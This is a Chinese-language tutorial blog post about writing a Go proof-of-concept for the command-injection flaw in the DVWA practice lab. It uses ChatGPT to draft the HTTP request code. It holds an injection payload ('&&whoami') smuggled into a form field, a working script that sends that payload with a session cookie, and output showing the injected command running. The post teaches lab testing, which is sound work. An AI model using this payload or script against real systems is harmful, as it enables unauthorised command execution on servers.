hello,大家好我是你们的坤哥,聊聊安全绕不开的话题POC(漏洞概念验证),只知道拿着工具扫的你,尝试过自己写POC吗?
看坤哥极限拉扯你和大手子之间的差距。
配合B站视频观看更佳:
POC(漏洞概念验证脚本)诞生全过程,有手就能写,ChatGPT辅助写POC_哔哩哔哩_bilibili
启动靶场
靶场使用的是DVWA,借助Docker一键启动靶场。
$ sudo docker pull vulnerables/web-dvwa
$ sudo docker run --rm -it -p 80:80 vulnerables/web-dvwa
[+] Starting mysql...
[ ok ] Starting MariaDB database server: mysqld.
[+] Starting apache
[....] Starting Apache httpd web server: apache2AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message
. ok
==> /var/log/apache2/access.log <====> /var/log/apache2/error.log <==
[Mon May 08 13:04:56.685132 2023] [mpm_prefork:notice] [pid 306] AH00163: Apache/2.4.25 (Debian) configured -- resuming normal operations
[Mon May 08 13:04:56.685222 2023] [core:notice] [pid 306] AH00094: Command line: '/usr/sbin/apache2'==> /var/log/apache2/other_vhosts_access.log <==
Command Injection
登入DVWA
后找到Command Injection
使用Payload
触发漏洞,输入框内填入secself.com&&whoami
目前为止已经可以手动测试出漏洞,怎么批量去检测这个同类型漏洞呢?
POC编写思路
从刚才的动作思考一下,浏览器输入网址->回车->页面展示,这几个动作在代码里应该是什么样子的?
- 代码请求网址,拿到响应信息
- 处理响应信息,匹配关键信息检测出漏洞是否存在?
请求URL地址
按照上面思路,使用Go语言发起Http请求并取得结果。
emm... 感觉很难,完全没思路。
祭出ChatGPT,开始整活
确定ChatGPT角色,方便后续提问。
我们来玩个游戏,你现在是Go语言网络安全脚本专家
好的,我会尽力扮演好这个角色。请问你有什么问题或任务需要我完成吗?
帮我写一个发送http POST请求的函数,请求体是form表单
好的,以下是一个简单的Go语言函数,用于发送HTTP POST请求,请求体为form表单格式:
go
import ("net/http""net/url""strings"
)func sendFormPostRequest(url string, formData url.Values) (*http.Response, error) {// 构建HTTP客户端client := &http.Client{}// 将表单数据编码为URL编码格式,并创建一个新的请求体requestBody := strings.NewReader(formData.Encode())// 创建POST请求request, err := http.NewRequest("POST", url, requestBody)if err != nil {return nil, err}// 设置请求头信息request.Header.Set("Content-Type", "application/x-www-form-urlencoded")// 发送请求并返回响应结果response, err := client.Do(request)if err != nil {return nil, err}return response, nil
}
使用示例:
go // 定义表单数据 formData := url.Values{} formData.Set("username", "john") formData.Set("password", "123456")// 发送POST请求 response, err := sendFormPostRequest("http://example.com/login", formData) if err != nil {// 处理错误 }// 读取响应数据 body, err := ioutil.ReadAll(response.Body) if err != nil {// 处理错误 }// 关闭响应体 defer response.Body.Close()// 输出响应结果 fmt.Println(string(body))
上面代码已经可以发出HTTP请求,整理成咱们可用的代码如下:
package mainimport ("fmt""io/ioutil""net/http""net/url""strings"
)// 发送一个POST请求
func sendFormPostRequestWithCookie(url string, formData url.Values) (*http.Response, error) {// 构建HTTP客户端client := &http.Client{}// 将表单数据编码为URL编码格式,并创建一个新的请求体requestBody := strings.NewReader(formData.Encode())// 创建POST请求request, err := http.NewRequest("POST", url, requestBody)if err != nil {return nil, err}// 设置请求头信息request.Header.Set("Content-Type", "application/x-www-form-urlencoded")// 发送请求并返回响应结果response, err := client.Do(request)if err != nil {return nil, err}return response, nil
}func main() {formData := url.Values{}// ip=secself.com%26%26whoami&Submit=SubmitformData.Set("ip", "secself.com&&whoami")formData.Set("Submit", "Submit")// 发送POST请求response, err := sendFormPostRequestWithCookie("http://192.168.111.133/vulnerabilities/exec/",formData)if err != nil {// 处理错误}// 读取响应数据body, err := ioutil.ReadAll(response.Body)if err != nil {// 处理错误}// 关闭响应体defer response.Body.Close()// 输出响应结果fmt.Println(string(body))
}
解决认证问题
上面代码出现一个问题,请求这个接口的时候需要登入,后台直接将咱们重定向到登入界面,这怎么检查呢?
看会坤哥视频冷静冷静
坤哥,果然管用,加个Cookie是不是就解决这个事了
继续,祭出ChatGPT
加上cookie认证
好的,以下是加上cookie认证的Go语言函数,用于发送HTTP POST请求,请求体为form表单格式,并且带有cookie认证:
go
import ("net/http""net/url""strings"
)func sendFormPostRequestWithCookie(url string, formData url.Values, cookieName string, cookieValue string) (*http.Response, error) {// 构建HTTP客户端client := &http.Client{}// 将表单数据编码为URL编码格式,并创建一个新的请求体requestBody := strings.NewReader(formData.Encode())// 创建POST请求request, err := http.NewRequest("POST", url, requestBody)if err != nil {return nil, err}// 设置请求头信息request.Header.Set("Content-Type", "application/x-www-form-urlencoded")// 设置Cookie信息cookie := &http.Cookie{Name: cookieName, Value: cookieValue}request.AddCookie(cookie)// 发送请求并返回响应结果response, err := client.Do(request)if err != nil {return nil, err}return response, nil
}
使用示例:
go // 定义表单数据 formData := url.Values{} formData.Set("username", "john") formData.Set("password", "123456")// 定义cookie信息 cookieName := "auth_token" cookieValue := "abcdefg123456789"// 发送POST请求 response, err := sendFormPostRequestWithCookie("http://example.com/login", formData, cookieName, cookieValue) if err != nil {// 处理错误 }// 读取响应数据 body, err := ioutil.ReadAll(response.Body) if err != nil {// 处理错误 }// 关闭响应体 defer response.Body.Close()// 输出响应结果 fmt.Println(string(body))
代码简化
ChatGPT有时写的代码需要简化(甚至有时候,一本正经的胡说八道,大家注意区分),将参数cookieName和cookieValue替换成cookie一个就够,函数里也需要对应修改。完整代码如下:
package mainimport ("fmt""io/ioutil""net/http""net/url""strings"
)// 发送一个POST请求
func sendFormPostRequestWithCookie(url string, formData url.Values, cookie string) (*http.Response, error) {// 构建HTTP客户端client := &http.Client{}// 将表单数据编码为URL编码格式,并创建一个新的请求体requestBody := strings.NewReader(formData.Encode())// 创建POST请求request, err := http.NewRequest("POST", url, requestBody)if err != nil {return nil, err}// 设置请求头信息request.Header.Set("Content-Type", "application/x-www-form-urlencoded")request.Header.Set("Cookie", cookie)// 发送请求并返回响应结果response, err := client.Do(request)if err != nil {return nil, err}return response, nil
}func main() {formData := url.Values{}// ip=secself.com%26%26whoami&Submit=SubmitformData.Set("ip", "secself.com&&whoami")formData.Set("Submit", "Submit")// 发送POST请求response, err := sendFormPostRequestWithCookie("http://192.168.111.133/vulnerabilities/exec/",formData, "ph_whrt8_XCHW635Gq2UKtlOIVLOdjuhZVyy3UE-z-SYZc_posthog=%7B%22distinct_id%22%3A%22live_23885937%22%2C%22%24device_id%22%3A%22187bc37adb8b3a-068681b057d3b-d565429-384000-187bc37adb9602%22%2C%22%24user_id%22%3A%22live_23885937%22%2C%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%2C%22%24referrer%22%3A%22%24direct%22%2C%22%24referring_domain%22%3A%22%24direct%22%7D; PHPSESSID=un16srgnuabvgfg0t7n32k6506; security=low")if err != nil {// 处理错误}// 读取响应数据body, err := ioutil.ReadAll(response.Body)if err != nil {// 处理错误}// 关闭响应体defer response.Body.Close()// 输出响应结果fmt.Println(string(body))
}
使用Golang编译器,成功输出如下结果:
...
</p></form><pre>PING secself.com (182.92.106.58): 56 data bytes
64 bytes from 182.92.106.58: icmp_seq=0 ttl=127 time=18.381 ms
64 bytes from 182.92.106.58: icmp_seq=1 ttl=127 time=17.445 ms
64 bytes from 182.92.106.58: icmp_seq=2 ttl=127 time=17.546 ms
64 bytes from 182.92.106.58: icmp_seq=3 ttl=127 time=17.140 ms
--- secself.com ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 17.140/17.628/18.381/0.460 ms
www-data
</pre></div>
...
作业
至此大部分代码都写完,大家可以尝试写第2步,检测返回值的内容来判断漏洞信息。
遇到问题,祭坤哥。
作业打到评论区或者群里都可以。